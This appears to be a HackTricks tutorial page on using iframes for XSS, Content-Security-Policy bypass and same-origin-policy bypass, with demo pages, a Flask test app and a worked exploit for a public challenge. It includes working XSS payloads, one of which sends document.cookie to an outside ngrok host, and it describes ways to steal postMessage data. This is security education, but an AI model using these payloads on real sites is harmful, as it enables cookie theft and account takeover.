268 lines
14 KiB
Markdown
268 lines
14 KiB
Markdown
# Iframes in XSS, CSP and SOP
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## Iframes in XSS, CSP and SOP
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## Iframes in XSS
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There are 3 ways to indicate the content of an iframed page:
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* Via `src` indicating an URL (the URL may be cross origin or same origin)
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* Via `src` indicating the content using the `data:` protocol
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* Via `srcdoc` indicating the content
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**Accesing Parent & Child vars**
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```html
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<html>
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<script>
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var secret = "31337s3cr37t";
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</script>
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<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
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<iframe id="if2" src="child.html"></iframe>
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<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
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<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
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<script>
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function access_children_vars(){
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alert(if1.secret);
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alert(if2.secret);
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alert(if3.secret);
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alert(if4.secret);
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}
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setTimeout(access_children_vars, 3000);
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</script>
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</html>
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```
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```html
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<!-- content of child.html -->
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<script>
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var secret="child secret";
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alert(parent.secret)
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</script>
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```
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If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\
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Note how if4 is considered to have `null` origin.
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### Iframes with CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
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{% hint style="info" %}
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Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution.
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{% endhint %}
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The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\
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However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\
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Therefore it’s possible to bypass the CSP of a page with:
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```html
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<html>
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<head>
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<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
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</head>
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<script>
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var secret = "31337s3cr37t";
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</script>
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<iframe id="if1" src="child.html"></iframe>
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<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
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<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
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<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
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</html>
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```
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Note how the **previous CSP only permits the execution of the inline script**.\
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However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.
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 (1) (1).png>)
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Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.
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You can test this with the following scenario were a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser:
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```python
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import flask
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from flask import Flask
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app = Flask(__name__)
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@app.route("/")
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def index():
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resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
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resp.headers['Content-Security-Policy'] = "script-src 'self'"
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resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
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return resp
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@app.route("/cookie_s.html")
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def cookie_s():
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return "<script>alert(document.cookie)</script>"
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if __name__ == "__main__":
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app.run()
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```
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### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
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```html
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<!-- This one requires the data: scheme to be allowed -->
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<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
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<!-- This one injects JS in a jsonp endppoint -->
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<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
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<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
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<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
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```
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### Iframe sandbox
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The `sandbox` attribute enables an extra set of restrictions for the content in the iframe. **By default, no restriction is applied.**
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When the `sandbox` attribute is present, and it will:
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* treat the content as being from a unique origin
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* block form submission
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* block script execution
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* disable APIs
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* prevent links from targeting other browsing contexts
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* prevent content from using plugins (through `<embed>`, `<object>`, `<applet>`, or other)
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* prevent the content to navigate its top-level browsing context
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* block automatically triggered features (such as automatically playing a video or automatically focusing a form control)
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The value of the `sandbox` attribute can either be empty (then all restrictions are applied), or a space-separated list of pre-defined values that will REMOVE the particular restrictions.
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```html
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<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
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```
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## Iframes in SOP
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In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
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```javascript
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const identifier = '4a600cd2d4f9aa1cfb5aa786';
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onmessage = e => {
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const data = e.data;
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if (e.origin !== window.origin && data.identifier !== identifier) return;
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if (data.type === 'render') {
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renderContainer.innerHTML = data.body;
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}
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}
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```
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The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
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### SOP bypass 1
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When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. `window.origin === 'null'`. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
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If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
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### SOP bypass 2
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The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.
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### Challenge Solution
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Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
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That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
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```html
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<body>
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<script>
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f = document.createElement('iframe');
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// Needed flags
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f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
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// Second communication with /iframe.php (this is the top page relocated)
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// This will execute the alert in the correct origin
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const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
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x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
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},1000);`.replaceAll('\n',' ');
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// Initial communication
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// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
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// Then, bypass window.origin === e.origin to steal the identifier and communicate
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// with the top with the second XSS payload
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f.srcdoc = `
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<h1>Click me!</h1>
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<script>
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onclick = e => {
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let w = open('https://so-xss.terjanq.me/iframe.php');
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onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
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setTimeout(_ => {
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w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
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}, 1000);
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};
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<\/script>
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`
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document.body.appendChild(f);
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</script>
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</body>
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```
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## Changing child iframes locations
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According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**.\
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This is specially useful in **postMessages** because if the parent page is sending sensitive data using a **wildcard** like `windowRef.postmessage("","*")` it's possible to **change the location of the iframe to an attacker controlled location** and steal that data.
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## Winning RCs with Iframes
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According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.
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Basically in that challenge an **isolated iframe is executed** and right **after** it's **loaded** the **parent** page is going to **send a post** message with the **flag**.\
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However, that postmessage communication is **vulnerable to XSS** (the **iframe** can execute JS code).
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Therefore, the goal of the attacker is to **let the parent create the iframe**, but **before** let the **parent** page **send** the sensitive data (**flag**) **keep it busy** and send the **payload to the iframe**. While the **parent is busy** the **iframe executes the payload** which will be some JS that will listen for the **parent postmessage message and leak the flag**.\
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Finally, the iframe has executed the payload and the parent page stops being busy, so it sends the flag and the payload leaks it.
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But how could you make the parent be **busy right after it generated the iframe and just while it's waiting for the iframe to be ready to send the sensitive data?** Basically, you need to find **async** **action** you could make the parent **execute**. For example, in that challenge the parent was **listening** to **postmessages** like this:
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```javascript
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window.addEventListener('message', (e) => {
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if (e.data == 'blob loaded') {
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$("#previewModal").modal();
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}
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});
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```
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so it was possible to send a **big integer in a postmessage** that will be **converted to string** in that comparison, which will take some time:
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```bash
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const buffer = new Uint8Array(1e7);
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win?.postMessage(buffer, '*', [buffer.buffer]);
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```
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And in order to be precise and **send** that **postmessage** just **after** the **iframe** is created but **before** it's **ready** to receive the data from the parent, you will need to **play with the miliseconds of a `setTimeout`**.
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
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||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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